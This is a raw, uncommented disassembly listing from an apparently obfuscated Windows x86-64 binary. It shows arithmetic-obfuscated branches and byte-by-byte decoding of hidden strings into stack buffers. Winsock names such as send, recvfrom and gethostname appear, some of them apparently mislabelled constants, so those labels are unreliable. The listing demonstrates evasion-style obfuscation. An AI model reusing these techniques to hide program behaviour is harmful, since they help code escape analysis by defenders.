mov rbx, rcx
lea r8, [rcx + 0x64]
jmp 0x140088dd0
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x140088dc0
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088d46
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088cd6
lea edx, [r10 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
add dil, dl
movzx r11d, r10b
jmp 0x140089694
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140088cc3
lea ecx, [r10 + 0x28]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x18
dec r10
inc r10
jmp 0x140088cc3
lea edx, [r10 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
add dil, dl
movzx r11d, r10b
jmp 0x1400896df
lea edx, [r10 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008971f
lea ecx, [r10 + 0x4c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x14
jmp 0x140089722
lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140089759
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089781
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088cc3
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x1b0], dil
inc r10
jmp 0x140088cc3
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
cmp r8, 3
jb 0x140089124
movzx r11d, r10b
lea edx, [r11 - 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140089694
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x1000
jae 0x140089592
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x1400894d2
lea edx, [r10 + 0x14]
movzx eax, r9b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008914a
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 3
je 0x1400895b9
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x1400893e2
lea edx, [r10 - 0x6e]
movzx eax, r9b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008918e
lea ecx, [r10 + 0xc]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x54
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088cc3
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089781
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089759
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
jmp 0x140089722
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008971f
movzx r11d, r10b
lea edx, [r11 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400896df
lea ecx, [r10 + 0x54]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
dec r10
inc r10
jmp 0x140088cc3
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140088cc3
movzx r11d, r10b
lea edx, [r11 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089694
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x14008937b
lea edx, [r10 - 6]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400891de
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400893b2
lea ecx, [r10 + 4]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1c
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088cc3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400891de
movzx r11d, r10b
lea edx, [r11 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x1400896df
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140089412
movzx r11d, r10b
lea edx, [r11 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089694
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140089442
movzx r11d, r10b
lea edx, [r11 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400896df
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008946b
lea ecx, [r10 + 0x56]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5a
jmp 0x14008971f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140089497
lea edx, [r10 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x140089781
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008918e
lea ecx, [r10 + 0x26]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xa
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088cc3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140089509
lea ecx, [r10 + 8]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088cc3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140089532
lea ecx, [r10 - 0x1c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3c
jmp 0x140089722
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140089562
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400896df
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008914a
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089694
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x1b0]
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400896df
lea edx, [r10 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140089759
lea edx, [r10 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089781
lea edx, [r10 + 0x2e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x42
add dil, dl
jmp 0x140089759
lea edx, [r10 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140089722
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140088cc3
movzx r11d, r10b
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x140089694
movzx r11d, r10b
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x6a
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x1a
add r11b, r9b
mov byte [rbp + r10 + 0x1b0], r11b
inc r8
dec r10
inc r10
jmp 0x140088cc3
movzx r11d, r10b
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x76
movzx eax, r11b
and al, r9b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, dil
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x1b0], cl
jmp 0x14008971f
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140088cc3
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x72
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x1b0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x48
add cl, r9b
mov byte [rbp + r10 + 0x1b0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088cc3
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x3f
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088cc3
sub r10b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
jmp 0x140088cc0
sub r10b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140088cb0
lea rcx, [rbp + 0x15df5a8]
jmp 0x140089851
lea rcx, [rbp + 0x676fa2]
jmp 0x140089851
lea rcx, [rbp + 0x1b0]
mov dword [rsp + 0x28], r13d
lea r15, str._.3f
mov qword [rsp + 0x20], r15
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401db6d0]
call fcn.14003ffa0
mov byte [rbp + 0x3f0], 0x1b
mov byte [rbp + 0x3f1], r13b
mov byte [rbp + 0x3f2], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3f3], 7
mov byte [rbp + 0x3f4], 9
mov byte [rbp + 0x3f5], 0x3d
mov byte [rbp + 0x3f6], 1
mov byte [rbp + 0x3f7], 0x3d
mov byte [rbp + 0x3f8], 0xee
mov byte [rbp + 0x3f9], 0x21
mov byte [rbp + 0x3fa], gethostname
mov byte [rbp + 0x3fb], 0x3c
mov byte [rbp + 0x3fc], gethostname
mov byte [rbp + 0x3fd], 0x3c
mov byte [rbp + 0x3fe], 0x3a
mov byte [rbp + 0x3ff], 0x3c
mov byte [rbp + 0x400], recvfrom
mov byte [rbp + 0x401], 8
mov byte [rbp + 0x402], 0x84
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x403], xmm0
mov dword [rbp + 0x413], eax
mov byte [rbp + 0x417], al
movabs rsi, 0x1789c5cb194fc719
movabs r14, 0x469d51614bef554b
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x28
jae 0x14008a4fa
movzx r9d, byte [rbp + r10 + 0x3f0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008a4ee
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140089990
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x51
jmp 0x1400899c0
je 0x14008a47d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a44b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008a408
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008a3e4
nop dword [rax]
cmp r8, r10
ja 0x14008a4e2
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x1400899f1
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
jmp 0x140089a32
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008a39d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a379
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008a358
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008a33d
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008a2e0
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140089fa1
nop
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140089f82
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140089f5a
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140089f35
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140089f16
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140089ef7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140089edc
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140089ebe
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140089e9f
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140089e72
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140089a40
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008a4c5
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008a4a8
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140089c33
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140089c18
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140089bfd
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140089e29
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140089de4
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140089da6
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140089d80
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140089a40
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140089d4f
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140089d34
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140089d11
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140089cf6
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140089cdb
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140089cb8
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140089c96
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140089c71
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140089c4e
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140089a40
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x400]
jmp 0x140089a40
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 5
jmp 0x140089a32
lea ecx, [r10 + 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x59
jmp 0x1400899c0
lea ecx, [r10 + 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x49
jmp 0x140089956
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx r11d, r10b
jmp 0x14008a3b7
lea ecx, [r10 + 0x36]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7a
inc r8
dec r10
inc r10
jmp 0x140089943
lea ecx, [r10 + 4]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1c
dec r10
inc r10
jmp 0x140089943
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008a422
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14008a461
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x14008a464
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx edx, r10b
jmp 0x14008a2b4
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x14008a2f6
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089943
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
mov byte [rbp + r10 + 0x3f0], dil
inc r10
jmp 0x140089943
lea ecx, [r10 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
cmp r8, 5
jb 0x140089d96
movzx r11d, r10b
lea ecx, [r11 - 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x74]
jmp 0x14008a3b7
lea ecx, [r10 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
cmp rbx, 4
jae 0x14008a275
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x14008a18e
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x140089dbc
lea ecx, [r10 - 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x63
lea rax, [r8 + rbx]
cmp rax, 3
je 0x14008a2a0
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14008a0e8
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4d
jmp 0x140089dfa
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089943
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a2f6
movzx edx, r10b
lea ecx, [rdx - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
jmp 0x14008a2b4
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14008a464
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a461
movzx r11d, r10b
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14008a422
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140089943
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140089943
movzx r11d, r10b
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x14008a3b7
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x140089fc9
lea ecx, [r10 + 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x51
jmp 0x140089e3f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a003
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089943
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008a02e
movzx edx, r10b
lea ecx, [rdx + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
jmp 0x14008a2b4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a056
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x14008a461
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008a086
movzx r11d, r10b
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a422
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008a0b8
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140089943
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140089e3f
movzx r11d, r10b
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a3b7
jne 0x14008a10d
movzx r11d, r10b
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
jmp 0x14008a3b7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008a13b
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
dec r10
inc r10
jmp 0x140089943
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a166
movzx edx, r10b
lea ecx, [rdx + 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x45
jmp 0x14008a2b4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140089dfa
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5d
jmp 0x14008a2f6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a1c4
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089943
cmp rbx, rcx
jne 0x14008a1eb
movzx edx, r10b
lea ecx, [rdx - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x14008a2b4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008a217
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a461
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008a243
movzx r11d, r10b
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x14008a422
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140089dbc
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140089943
movzx r11d, r10b
lea edx, [r11 + 0x28]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x3f0]
sub dil, al
sub dil, 0x18
add dil, dl
add dil, r9b
jmp 0x14008a422
movzx edx, r10b
lea ecx, [rdx + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x76]
add dl, 0x73
movzx eax, dl
and al, r9b
add al, al
sub dl, al
sub dl, 0x25
add dl, r9b
movzx eax, dl
mov byte [rbp + r10 + 0x3f0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14008a2f6
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4b
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x3f0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089943
lea ecx, [r10 + 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x71
jmp 0x14008a464
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x75
dec r10
inc r10
jmp 0x140089943
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x17
inc r8
dec r10
inc r10
jmp 0x140089943
movzx r11d, r10b
lea ecx, [r11 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
add r11b, 0xf
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x69
add r9b, r11b
mov byte [rbp + r10 + 0x3f0], r9b
inc r8
dec r10
inc r10
jmp 0x140089943
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x61
inc r8
dec r10
inc r10
jmp 0x140089943
